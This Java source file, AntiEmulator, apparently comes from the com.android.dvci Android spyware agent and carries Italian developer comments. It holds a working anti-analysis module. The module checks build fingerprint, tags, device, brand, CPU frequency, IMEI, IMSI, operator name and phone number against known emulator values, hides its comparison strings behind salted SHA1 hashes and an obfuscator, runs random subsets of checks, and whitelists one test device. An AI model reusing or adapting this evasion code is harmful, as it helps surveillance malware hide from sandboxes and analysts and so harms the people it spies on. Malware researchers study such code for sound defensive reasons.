package com.android.dvci.util;
import android.content.Context;
import android.os.Build;
import android.telephony.TelephonyManager;
import android.util.Log;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.crypto.Digest;
import com.android.mm.M;
public class AntiEmulator {
private static final String TAG = "AntiEmulator";
private static int NUMTESTSTM = 11;
private static int NUMTESTSNOTM = 7;
private static TelephonyManager tm = (TelephonyManager) Status.getAppContext().getSystemService(
Context.TELEPHONY_SERVICE);
// Finisce per "test-keys" nell'emu
public int checkKeys() {
String keys = Build.FINGERPRINT;
int index;
if (Cfg.DEBUG) {
Check.log(TAG + " (checkKeys): Keys: " + keys); //$NON-NLS-1$
}
String digest = Digest.SHA1(M.e("JmGKwOYrz") + keys.toLowerCase()).toLowerCase();
// "unknown"
if (digest.equals(M.e("d0deb97b41e6e29754fd3193da5a309ceb68dbf9"))) {
return 1;
}
// "/"
index = keys.lastIndexOf(M.e("/"));
if (index == -1) {
return 0;
}
keys = keys.substring(index);
digest = Digest.SHA1(M.e("zOSgALHZaL") + keys.toLowerCase()).toLowerCase();
// "/test-keys"
if (digest.equals(M.e("5d2441306a9458d6592323fbdd235a4c849f33fb"))) {
return 1;
}
return 0;
}
// "test-keys" nell'emu
public int checkTags() {
String tags = Build.TAGS;
if (Cfg.DEBUG) {
Check.log(TAG + " (checkTags): Tags: " + tags); //$NON-NLS-1$
}
String digest = Digest.SHA1(M.e("R70kq5jhCx") + tags.toLowerCase()).toLowerCase();
// "test-keys"
if (digest.equals(M.e("895f0bd16cf59e3e380b7360b26dfd445e2c9570"))) {
return 1;
}
return 0;
}
// "sdk" nell'emu
public int checkProduct() {
String product = Build.PRODUCT;
if (Cfg.DEBUG) {
Check.log(TAG + " (checkProduct): Product: " + product); //$NON-NLS-1$
}
// "sdk" || "sdk_x86"
if ( product.toLowerCase().startsWith(M.e("sdk")) ) {
return 1;
}
return 0;
}
// "generic" nell'emu
public int checkDevice() {
String device = Build.DEVICE;
if (Cfg.DEBUG) {
Check.log(TAG + " (checkDevice): Device: " + device); //$NON-NLS-1$
}
// "generic"
if (device.startsWith(M.e("generic"))) {
return 1;
}
return 0;
}
// "generic" nell'emu e per alcuni telefoni, attenzione
public int checkBrand() {
String brand = Build.BRAND;
if (Cfg.DEBUG) {
Check.log(TAG + " (checkBrand): Brand: " + brand); //$NON-NLS-1$
}
String digest = Digest.SHA1(M.e("AXWC4qhe6x") + brand.toLowerCase()).toLowerCase();
// "generic"
if (digest.equals(M.e("ae2f26a8cd5bd8efa6b31da9e4974a6b75108f21"))) {
return 1;
}
if (brand.startsWith(M.e("generic"))) {
return 1;
}
return 0;
}
public int checkScaling() {
Execute exec = new Execute();
// "cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"
ExecuteResult ret = exec.execute(M.e("cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"));
// Ci interessa solo la prima riga
for (String frequency : ret.stdout) {
if (Cfg.DEBUG) {
Check.log(TAG + " (checkScaling): " + frequency); //$NON-NLS-1$
}
try {
Integer.parseInt(frequency);
return 0;
} catch (NumberFormatException n) {
return 1;
}
}
return 1;
}
// "unknown" nell'emu
public int checkManufacturer() {
String manufacturer = Build.MANUFACTURER;
if (Cfg.DEBUG) {
Check.log(TAG + " (checkManufacturer): Manufacturer: " + manufacturer); //$NON-NLS-1$
}
String digest = Digest.SHA1(M.e("kamA9mES38") + manufacturer.toLowerCase()).toLowerCase();
// "unknown"
if (digest.equals(M.e("a89c0b114f51576c81fd313fc15dc8b125b8f91a"))) {
return 1;
}
return 0;
}
// "000000000000000" se si e' nell'emulatore
public int checkId() {
String deviceId = tm.getDeviceId();
if (Cfg.DEBUG) {
Check.log(TAG + " (checkId): DeviceId: " + deviceId); //$NON-NLS-1$
}
if (deviceId == null) {
return 0;
}
String digest = Digest.SHA1(M.e("Q0gh5!dGtr") + deviceId.toLowerCase()).toLowerCase();
// "000000000000000"
if (digest.equals(M.e("ff309ca5ee9fb342d82a8289ef5113569ae5c7fb"))) {
return 1;
}
return 0;
}
// "310260000000000" nell'emu
public int checkSubscriber() {
String subscriberId = tm.getSubscriberId();
if (Cfg.DEBUG) {
Check.log(TAG + " (checkSubscriber): SubscriberId: " + subscriberId); //$NON-NLS-1$
}
// Se il telefono e' in airplane mode, questo e' null
if (subscriberId == null) {
return 0;
}
String digest = Digest.SHA1(M.e("Lt5xaspitp") + subscriberId.toLowerCase()).toLowerCase();
// "310260000000000"
if (digest.equals(M.e("e60a02f0b41b042a72359c57de36ecb81fb10fc2"))) {
return 1;
}
return 0;
}
// "Android" nell'emu
public int checkOperator() {
String operator = tm.getSimOperatorName();
if (Cfg.DEBUG) {
Check.log(TAG + " (checkOperator): Operator: " + operator); //$NON-NLS-1$
}
String digest = Digest.SHA1(M.e("ovCwHlxund") + operator.toLowerCase()).toLowerCase();
// "android"
if (digest.equals(M.e("796c3a755fea349d366064676d8351e52a623288"))) {
return 1;
}
return 0;
}
// "15555215554" nell'emu
public int checkPhoneNumber() {
String phoneNumber = tm.getLine1Number();
if (Cfg.DEBUG) {
Check.log(TAG + " (checkPhoneNumber): LineNumber: " + phoneNumber); //$NON-NLS-1$
}
// Se il telefono e' in airplane mode, questo e' null
if (phoneNumber == null) {
return 0;
}
// Molte sim non hanno il numero di telefono
if (phoneNumber.length() == 0) {
return 0;
}
phoneNumber = phoneNumber.substring(0, phoneNumber.length() - 2);
if (Cfg.DEBUG) {
Check.log(TAG + " (checkPhoneNumber): " + phoneNumber); //$NON-NLS-1$
}
String digest = Digest.SHA1(M.e("lYRGQKaHgJ") + phoneNumber.toLowerCase()).toLowerCase();
// "155552155XX" (le due XX non sono incluse nell'hash perche' variano)
if (digest.equals(M.e("6bba1f0a5587f3315c54856fd90ff790e3ed8581"))) {
return 1;
}
return 0;
}
private int isEmu(int test) {
int NUMTESTS = (tm == null) ? NUMTESTSNOTM : NUMTESTSTM;
test = Math.abs(test);
switch (test % (NUMTESTS)) {
case 0:
return checkKeys();
case 1:
return checkTags();
case 2:
return checkProduct();
case 3:
return checkDevice();
case 4:
return checkBrand();
case 5:
return checkScaling();
case 6:
return checkManufacturer();
case 7:
return checkId();
case 8:
return checkSubscriber();
case 9:
return checkOperator();
case 10:
return checkPhoneNumber();
}
return 0;
}
private int isEmu(int[] test) {
int acc = 0;
for (int i : test) {
acc += isEmu(i);
}
return acc;
}
public boolean isEmu() {
if (Cfg.DEBUGANTI) {
Log.w(TAG, " (isEmu)");
return isEmu(NUMTESTSNOTM) >= NUMTESTSNOTM - 2;
} else {
boolean ret = isEmu(Utils.getRandomIntArray(3)) >= 1;
boolean ov = isTestEmu();
return ret && !ov;
}
}
private boolean isTestEmu() {
String product = Build.DEVICE;
String digest = Digest.SHA1(M.e("oJtb2LTJkhUF") + product).toLowerCase();
// wH6ZrSNNT8b5wysfyAdP
if (digest.equals(M.e("a23ecb8153ee7f8d77f9ba47757384f8b63d1def"))) {
if(Cfg.DEBUG){
Log.d(TAG, " (isTestEmu) we are in the emulator" );
}
return true;
}
return false;
}
}